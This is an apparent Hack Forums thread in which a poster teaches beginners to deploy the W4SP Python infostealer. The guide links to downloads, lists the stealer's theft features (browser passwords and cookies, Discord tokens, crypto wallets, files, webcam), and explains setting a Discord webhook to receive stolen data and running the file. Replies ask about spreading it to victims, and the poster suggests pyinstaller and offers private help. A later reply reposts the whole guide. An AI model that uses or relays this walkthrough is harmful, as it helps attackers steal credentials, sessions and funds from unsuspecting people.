

Forum:[Hack Forums](#)

Thread: [How to Steal All Passwords and Cookies from Browsers for Beginners \(and spreading :\)](#)

DynamicW - April 25, 2024, 7:46 am

Alr so yh lots of beginners keep asking me how I steal all passwords from browsers and manage to get lots of bots every single day.

I don't know why y'all keep asking this but i'm gonna show yall how you can do this anyway so yh.

We're going to use a stealer called W4SP stealer which is the best stealer imo it basically steals everything including discord accounts, browser info, etc.

W4SP is a python-based stealer. I have the newest version which you cannot find on github or shit like that. If you want it you can go to <https://gofile.io/d/EcR5X6> and install the wasp.py file.

Prerequisites:

A windows laptop or pc that is either windows 10 or 11

A discord account and a discord server (and a discord webhook)

Python 3 at least

pip

requests module for sending requests, pycryptodome/Crypto for decrypting browser passwords and some other ones

If you are too stupid to do this yourself, I'll give an installation guide.

Features of W4SP stealer:

Discord token logger

Discord injection (steals discord password and token even after the user changes their token, auto buy nitro on the account, etc)

Discord infostealer

Steal passwords from all browsers (Chrome, Firefox, Opera, Opera GC, Epic Privacy browser, Brave, web browser, etc)

Steal cookies from all browsers (cookies are used to authenticate users and you can bypass 2FA with it too)

Steal browsing history

Steal device info (OS, GPU information, CPU information, public and private IP addresses)

Steal cryptocurrency wallets

Steal important files (like files with names like password.txt, files with things like seedphrase inside of them and other files that could contain sensitive info)

Device, screenshot and webcam capture

Yeah... So it basically steals everything. So now let's install and use it.

Installation guide:

1.) Open up your pc/laptop (which I assume you already have open if you're reading this)

- 2.) Make a discord account at discord.com if you've not already
- 3.) Make a discord server and then make a discord webhook in the general channel (I'm not telling you how to do this because im too lazy you can search up how to online or wtv)
- 4.) Copy that discord webhook URL and then put it in a notepad document or whatever to save it.
- 5.) Install any python versions that are version 3 or above from the microsoft store (you can download from python.org too but the microsoft store version automatically installs pip and adds it to PATH so it'll be easier just to install it from microsoft store)
- 6.) Wait for it to download then read the rest of this
- 7.) If you installed it from the microsoft store then you don't have to install pip because it's already installed by default.
- 8.) Also the stealer automatically installs them python modules so it's not needed to install them either.
- 9.) Now you obviously need to install the stealer, right? Otherwise what are you going to steal their passwords with? To install the stealer, go to <https://gofile.io/d/EcR5X6> and install wasp.py. It's not that big of a file so it won't take that long to install. Make sure you install this file in your DESKTOP directory/folder.
- 10.) Congratulations! You've installed it.

Okay! Now you've installed the stealer which you're going to send to your victims and steal their passwords with, but you've not finished right yet.

Guide to use the stealer:

- 1.) Complete the installation guide
- 2.) Now your file should be named wasp.py and it should be in your desktop directory.
- 3.) Open command prompt. To do this, press the windows key and press R. Hold down the windows key, wait for 1 second and press R. Now a dialog called "run" should show up. Just type the following: "cmd" (without the quotes) and then press the enter key or press open or whatever the button is.
- 4.) Now you're in command prompt. Make sure to keep this window open because you're gonna need to use it soon to test your file, configure your file and stuff like that.
- 5.) Now go to your desktop, close out of every window and there should be a file called wasp.py. Right click and press open with, then select notepad (or whatever text editor of your choice, I assume most people reading this probably won't have a proper ide or anything installed).
- 6.) Now in notepad, scroll down until you see a line that looks like hook = "whookdeleteme". Replace "whookdeleteme" with the webhook that you copied earlier. Make sure to include the quotes. For example, a correct code should look like this:

```
hook="https://discord.com/blah-blah-blah-your-webhook-url"
```

and not

```
hook=https://discord.com/blah-blah-blah-your-webhook-url
```

- 7.) Okay now save the file. You can press CTRL and S at the same time and then close it down and press save. (well I assume u know how to save files and if you don't then you srsly need to learn how to use a computer before trying out any type of stealer)
- 8.) Now you're almost there. You need to press the command prompt window (cmd window) that you opened earlier. Then this looks scary to most skids, but all you need to do is type "cd Desktop" without the quotes.
- 9.) Now it should execute without any trouble. Once you have done that, type "python wasp.py" without the quotes. This is so that you can test your file. Just wait for about 30 seconds and watch all of your information and passwords start to come in your discord server. If you get an error or

something then just reply saying "Hey this didn't work can you help" or something like that and I'll pm you and help you fix the issue.

Note: If you get an error like command not found then try typing `py wasp.py` instead and if that doesn't work then try typing `python3 wasp.py` . If it still doesn't work after that then you need to add python into your path, which you can find out how to do on youtube or wtv.

Link to wasp.py: <https://gofile.io/d/EcR5X6>

If you're having trouble setting it up then convo me, pm me or reply to this thread.

aes_est - April 25, 2024, 8:56 am

another copy of creal stealer

DynamicW - April 25, 2024, 9:02 am

(Apr 25, 2024 08:56 AM)aes_est Wrote: [\[CITE\]](#) another copy of creal stealer
Creal stealer is a copy of wasp stealer

aes_est - April 25, 2024, 9:05 am

(Apr 25, 2024 09:02 AM)DynamicW Wrote: [\[CITE\]](#) Creal stealer is a copy of wasp stealer
you are right, didn't know that

DynamicW - April 26, 2024, 6:16 am

yes and wasp is better tbh

zeeasas - April 26, 2024, 2:41 pm

>cd desktop

The system cannot find the path specified.
what am I doing wrong?

DynamicW - April 27, 2024, 12:29 am

(Apr 26, 2024 02:41 PM)zeeasas Wrote: [\[CITE\]](#) >cd desktop
The system cannot find the path specified.
what am I doing wrong?
Hmm I don't know. Maybe try a capital D?

Which directory are you currently in? Maybe try typing `C:\Users\yourusername\Desktop` instead and see if that works.

Tell me if it helps.

Amyere - April 27, 2024, 6:26 pm

Will definitely try thud this.

AdamEve - April 28, 2024, 7:13 am

thank you for the detailed text.

But what about the part about the spreading? How can you distribute it? Before I finish this tutorial, I want to know, what is the end file? .py? if yes, how can I spread it? Isnt it hard to spread a python file? Thanks in advance.

DynamicW - April 28, 2024, 8:02 am

(Apr 28, 2024 07:13 AM)AdamEve Wrote: [\[CITE\]](#) thank you for the detailed text.

But what about the part about the spreading? How can you distribute it? Before I finish this tutorial, I want to know, what is the end file? .py? if yes, how can I spread it? Isn't it hard to spread a python file? Thanks in advance.

Hello sorry for the late response. To answer your question, it actually is quite easy to spread a .py file if you have the right knowledge in spreading. You can also use something like pyinstaller to convert the file into an executable file and make it easier to spread for yourself.

If you need help on spreading your file, dm me and i can teach you how to spread.

Crexy - April 28, 2024, 1:06 pm

will have to try this thanks

Fuccboi buster - April 29, 2024, 4:41 am

Cool guide, thanks for the information :)

DynamicW - April 29, 2024, 6:00 am

There has been literally 13 downloads but only 5 people actually tested it properly. You need to test your malware before spreading.

masterflow450 - May 1, 2024, 11:12 am

if you can message i need some help about spreading thx !

DynamicW - May 1, 2024, 11:41 am

(May 1, 2024 11:12 AM)masterflow450 Wrote: [\[CITE\]](#) if you can message i need some help about spreading thx !

I dmed you, check your dms , i will explain it there

The stealer has been updated now, now it works better and it's not as buggy (because sometimes the stealer didn't steal the files and stuff, it stole everything except for important files and stuff)

41B41TR055 - May 12, 2024, 11:26 am

Please how can i dm you.The link is empty

Ya_Sanya__ - May 19, 2024, 10:42 am

The link is empty, update please

Jolina - May 19, 2024, 2:33 pm

Very Helpful Tutorial. I totally understand it now Thanks?

whereami - May 31, 2024, 7:28 pm

Links dont work. Can a new one be posted?

cam667 - October 28, 2024, 3:46 pm

Thank you, that's very good, but I think that what you are proposing in your Go File link is infected, sorry.

SIM-5320087 - October 29, 2024, 2:18 pm

Ce serait super si ça marche, merci

Gertrudis - October 30, 2024, 8:16 am

Thanks dude i will try it

faszokvagytok - December 17, 2024, 1:37 pm

link down pls update it

zDisTero - December 19, 2024, 8:44 am

(Apr 25, 2024 07:46 AM)DynamicW Wrote: [\[CITE\]](#) Alr so yh lots of beginners keep asking me how I steal all passwords from browsers and manage to get lots of bots every single day.

I don't know why y'all keep asking this but i'm gonna show yall how you can do this anyway so yh.

We're going to use a stealer called W4SP stealer which is the best stealer imo it basically steals everything including discord accounts, browser info, etc.

W4SP is a python-based stealer. I have the newest version which you cannot find on github or shit like that. If you want it you can go to [https://github.com/0x09c4/W4SP](#) and install the wasp.py file.

Prerequisites:

A windows laptop or pc that is either windows 10 or 11

A discord account and a discord server (and a discord webhook)

Python 3 at least

pip

requests module for sending requests, pycryptodome/Crypto for decrypting browser passwords and some other ones

If you are too stupid to do this yourself, I'll give an installation guide.

Features of W4SP stealer:

Discord token logger

Discord injection (steals discord password and token even after the user changes their token, auto buy nitro on the account, etc)

Discord infostealer

Steal passwords from all browsers (Chrome, Firefox, Opera, Opera GC, Epic Privacy browser, Brave, web browser, etc)

Steal cookies from all browsers (cookies are used to authenticate users and you can bypass 2FA with it too)

Steal browsing history

Steal device info (OS, GPU information, CPU information, public and private IP addresses)

Steal cryptocurrency wallets

Steal important files (like files with names like password.txt, files with things like seedphrase inside of them and other files that could contain sensitive info)

Device, screenshot and webcam capture

Yeah... So it basically steals everything. So now let's install and use it.

Installation guide:

- 1.) Open up your pc/laptop (which I assume you already have open if you're reading this)
- 2.) Make a discord account at discord.com if you've not already
- 3.) Make a discord server and then make a discord webhook in the general channel (I'm not telling you how to do this because im too lazy you can search up how to online or wtv)
- 4.) Copy that discord webhook URL and then put it in a notepad document or whatever to save it.
- 5.) Install any python versions that are version 3 or above from the microsoft store (you can

download from python.org too but the microsoft store version automatically installs pip and adds it to PATH so it'll be easier just to install it from microsoft store)

6.) Wait for it to download then read the rest of this

7.) If you installed it from the microsoft store then you don't have to install pip because it's already installed by default.

8.) Also the stealer automatically installs them python modules so it's not needed to install them either.

9.) Now you obviously need to install the stealer, right? Otherwise what are you going to steal their passwords with? To install the stealer, go to [this link](#) and install wasp.py. It's not that big of a file so it won't take that long to install. Make sure you install this file in your DESKTOP directory/folder.

10.) Congratulations! You've installed it.

Okay! Now you've installed the stealer which you're going to send to your victims and steal their passwords with, but you've not finished right yet.

Guide to use the stealer:

1.) Complete the installation guide

2.) Now your file should be named wasp.py and it should be in your desktop directory.

3.) Open command prompt. To do this, press the windows key and press R. Hold down the windows key, wait for 1 second and press R. Now a dialog called "run" should show up. Just type the following: "cmd" (without the quotes) and then press the enter key or press open or whatever the button is.

4.) Now you're in command prompt. Make sure to keep this window open because you're gonna need to use it soon to test your file, configure your file and stuff like that.

5.) Now go to your desktop, close out of every window and there should be a file called wasp.py. Right click and press open with, then select notepad (or whatever text editor of your choice, I assume most people reading this probably won't have a proper ide or anything installed).

6.) Now in notepad, scroll down until you see a line that looks like `hook = "whookdeleteme"`. Replace "whookdeleteme" with the webhook that you copied earlier. Make sure to include the quotes. For example, a correct code should look like this:

```
hook="
```

and not

```
hook=
```

7.) Okay now save the file. You can press CTRL and S at the same time and then close it down and press save. (well I assume u know how to save files and if you don't then you srsly need to learn how to use a computer before trying out any type of stealer)

8.) Now you're almost there. You need to press the command prompt window (cmd window) that you opened earlier. Then this looks scary to most skids, but all you need to do is type "cd Desktop" without the quotes.

9.) Now it should execute without any trouble. Once you have done that, type "python wasp.py" without the quotes. This is so that you can test your file. Just wait for about 30 seconds and watch all of your information and passwords start to come in your discord server. If you get an error or something then just reply saying "Hey this didn't work can you help" or something like that and I'll pm you and help you fix the issue.

Note: If you get an error like command not found then try typing `py wasp.py` instead and if that doesn't work then try typing `python3 wasp.py`. If it still doesn't work after that then you need to add python into your path, which you can find out how to do on youtube or wtv.

Link to wasp.py:

If you're having trouble setting it up then convo me, pm me or reply to this thread.

Friend pressing the file takes me to a page and says that the file does not exist

ghosts84 - May 18, 2025, 4:32 pm

THANK YOU ill def try this one out